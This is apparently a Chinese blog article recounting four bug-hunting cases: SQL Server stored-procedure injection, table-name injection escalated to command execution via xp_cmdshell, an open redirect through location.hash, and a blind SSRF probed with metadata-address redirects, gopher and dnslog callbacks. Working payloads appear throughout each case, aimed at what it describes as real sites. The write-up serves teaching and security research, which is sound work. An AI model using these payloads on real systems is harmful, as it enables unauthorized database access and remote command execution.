大家好,我是老杨。
关于安全这块,经常有很多小友和我吐槽,说知识点又干又难。
其实是因为网络安全里,细分的点太多了。
Web渗透、漏洞发现与利用、安全运维、追踪溯源、情报收集、安全研究、防御加固、逆向分析等等。
这些随便拎一个出来,都能单独搞个工程师岗位招聘。
想要做一个合格的网络安全工程师,上面的那些技能经验是必不可少的,你还得同时接触大量的实战案例,形成自己的工作思路。
比如说,渗透测试,你一般从哪方面下手?应急响应先抓哪一块?
今天就针对网络安全里面的热门项,漏洞挖掘,给你分享四个有意思的真实案例,学学安全大神是怎么玩技术的。
今日文章阅读福利:《 web漏洞挖掘快速入门.pdf 》
178页干货,从前期的信息搜集到后渗透测试,涵盖完整的漏洞挖掘流程,是新手入门的理想指南。
私信老杨,发送暗号“漏洞挖掘”,即可获取该份pdf资源。
01 漏洞一:存储过程sql注入
首先我先介绍一下近期挖到的第一个漏洞:sql server exec存储过程处 sql injection。
这是我挖国外网站遇到的一个真实案例。
一个后台的某个功能点,存在存储过程sql注入,使用单引号测试,发现他报错了。
ERROR:[Microsoft][ODBC SQL Server Driver][SQL Server]Procedure or function 'proc_*' expects parameter '@linked', which was not supplied.
这个报错很特别,和我平时看到的sql server报错信息不一样,我第一时间去谷歌搜索了下这个报错信息,很快就找到了一篇文章。
很快我就知道这是个sql server的存储过程报错。
顺便推荐下stackoverflow,查看网站报错信息真的很方便,迅速帮你判断使用了哪些技术。
英语不好的小友不用担心,谷歌浏览器自带的翻译功能就够了。
话说回来,不通过谷歌搜索报错语句,通过单引号报错,其实就可能猜出来个大概。
因为报错了,所以先进行最常规的测试,我企图用最简单的方法让其报错出user/database等,尝试poc:
'and 1>user and'1'='1
'and user<0 and '1'='1
等
发现没有出user,甚至仍然报错,其实这是正常的。
后续测试发现,只要我在后面添加内容,他就会一直报错,不允许添加过多的注入payload:
我开始从报错注入,转为布尔类型注入测试:
'and iif(user like '%25',1,1) and'1'='1
类似这样的payload,结局是泪目的,语句又是各种报错。
这样搞的话思路肯定不对
先从理解sql报错信息开始,理解存储过程,sql server的存储过程的语法是这样的:
exec 任意语句 / exec 'sql语句'
它本身其实不需要任何单引号的闭合,因为不是字符串类型注入,重新调整测试,测试就是学习的过程,再次上payload:
13 if(substring(db_name(),1,1)='*')waitfor delay'0:0:3'
一顿fuzz,延时3s:
一顿操作下来,说明我的这个poc没有问题的。
一开始为啥踩了一个坑?认知问题,小友们也要警惕惯性思维导致的错误。
mysql下的if:if(条件,结果1,结果2)
sql server下的if:if(条件) 结果 else (结果)
这里误以为sql server的if也是和mysql的if使用一样,其实完全不一样,sql server等同mysql if函数的是iif函数。
我们知道,sql server报错有个很爽的技巧就是基于类型错误:int+varchar,尝试报错出db_name()。
报错注入poc:
13 if(1=0/db_name())waitfor delay'0:0:1'
至此,这个注入算搞定了,可以提交了。
02 漏洞二:table头注入
第二个分享的案例仍然是注入,sql server table头注入。
有意思的地方在于rce处,利用一个sql server特性我rce了它
某天我挖一个站,发现一个功能点存在注入,是那种很常规的注入,通过查看js,发现了一个接口:
https://xxx.com/1.aspx?plugin=*&action=*&navigationid=1&table={注入点}
我看到了table参数,觉得这可能是sql server table头注入,这是经常做安全测试的一种直觉。
直接输入了sysobject,他大量返回了信息:
Content-Length: 270569
这种情况下,代码的实现很大可能是:
select * from {可控点}
这个时候,我们可以做的事情变得很多,这个注入利用成本很低,他就是个任意sql语句执行漏洞。
继续尝试rce,为了再次确定他是表头注入,可以在可控点处添加where等条件语句,尝试Payload。
sysobjects where xtype='u' #查询数据库中的所有表名
&action=:*******&navigationid=1&table=
sysobjects+where+xtype%3d'u' HTTP/1.1
很幸运,没任何报错,直接响应了。
Content-Length: 6073
我开始尝试rce,我们都知道sql server rce的条件是需要支持堆叠。
我尝试;waitfor delay '0:0:3';直接报错了,那么大概率可能不支持堆叠查询。
不过这个注入点非常特别,是表头注入,它需要满足一定的条件,即使不支持堆叠,只要权限够高,我们也可以rce。
先开启xp_cmdshell扩展:
sysobjects+select+1+if+1%3d1+execute('EXEC+sp_configure+''show+advanced+options'',+1%3bRECONFIGURE%3bEXEC+sp_configure+''xp_cmdshell'',+1%3bRECONFIGURE%3b')
执行命令:
sysobjects+select+1++if+1%3d1+execute('exec+master..xp_cmdshell+"whoami"')
直接页面显示了whoami信息:
很快,可以提交漏洞给相关厂商了。
因为是表头注入,所以不需要堆叠了,因为sql server的select支持 select x select x。
sql server容错率很强大,不同类型在一起不会报错,会做自动区分。
03 漏洞三:url跳转
其实有时候,挖漏洞这事儿还是有点运气成分的,连续好几天,我都没挖到漏洞。
在胡乱点的时候,有一个站引起了我的兴趣,他的注册接口是这样的。
https://*/sss/yyyy?returnUrl=https://*/#/xxxx/xxx
我对url参数比较敏感,通常会先测试ssrf/xss,即使他大概率不存在,我也会测试下,很显然,半自动化工具没有发现任何ssrf和xss漏洞。
先注册了一个账号尝试登录下,但账号需要审核,我尝试绕过,但是失败。
那我就随便看看,都不抓包了,右键查看源代码,发现了这么一段代码。
if(location.hash){location="https://hostname"+location.hash.substring(1);}
稍微学过一点js的也不会陌生。
不过我们还是要走一遍基础的测试流程,它使用 location.hash.* 去传递参数。
这个就是锚点符,常用于站内url跳转,记录#/后面的内容,其实这里的本意是做站内url跳转用的,不过这里没在hostname结尾处加/这个字符串,导致可以任意跳转。
我们简单测试下:
这个时候,如果我们想任意url跳转怎么办?
只需要让location.hash.substring(1)变成另一个我们的域名即可,构造poc如下:
http://example.com/#.dnslog.cn
他会直接跳转出信任域,实现任意页面url跳转
除了这样还可以通过 @domain 去跳转到第三方网站,更加方便!
修复方案也很简单:
if(location.hash){location="https://hostname/"+location.hash.substring(1);}
至此,第三个漏洞就分享完了。
04 漏洞四:盲ssrf漏洞
前面有提到过,一般我看到url参数都会尝试下ssrf/xss漏洞,这里我发现了一个图片加载功能,存在ssrf。
在分享ssrf实战案例之前,先给你分享个ssrf安全测试圣经:
https://github.com/cujanovic/SSRF-Testing
github上提供的测试用例:
https://ssrf.localdomain.pw/img-without-body/301-http-169.254.169.254:80-.i.jpg
如果想探测是否开放gopher,又不想触发waf,怎么做?
https://ssrf.localdomain.pw/img-without-body/301-gopher-{http://dnslog.cn}-.i.jpg
这个url地址是可以变化的,测试什么协议就变成什么协议,其他测试样本不再举例,类似的都可以随意转换。
这里尝试301跳转:
dnslog成功收到请求,注意User-Agent,是libwww,perl的一个请求依赖库:
GET / HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: http://bt8vfrpehb5ur0ldbb4o47c9s0yqmf.burpcollaborator.net
User-Agent: ImageVacuum/2.3.10 libwww-perl/6.57
使用上面的思路,测试下敏感协议,gopher协议:
有反应,说明大概率是支持gopher协议的,那么它到底支持不支持呢?
通过查看github libwww代码,就可以得到答案,他支持这些协议,其中包含gopher协议。
这样我们就可以使用gopher协议去批量fuzz探测内网redis等服务,这个点到此为止。
下面继续科普下,盲的ssrf怎么探测?
因为一般信息收集不全的情况下,我们没什么内网ip地址,那么我们怎么证明是盲ssrf呢?
本地ip:存在端口 vs 本地ip:大概率不存在的端口。
25端口提示我图片类型不对:
250端口,提示我连接被拒绝。
这样就可以证明这是个盲的ssrf,它可以探测内网端口开放情况。
因为它又支持gopher等敏感协议,可以fuzz内网redis,尝试shell等,危害将会大大升级。
至此,四个漏洞分享完成。
整理:老杨丨10年资深网络工程师,更多网工提升干货,请关注公众号:网络工程师俱乐部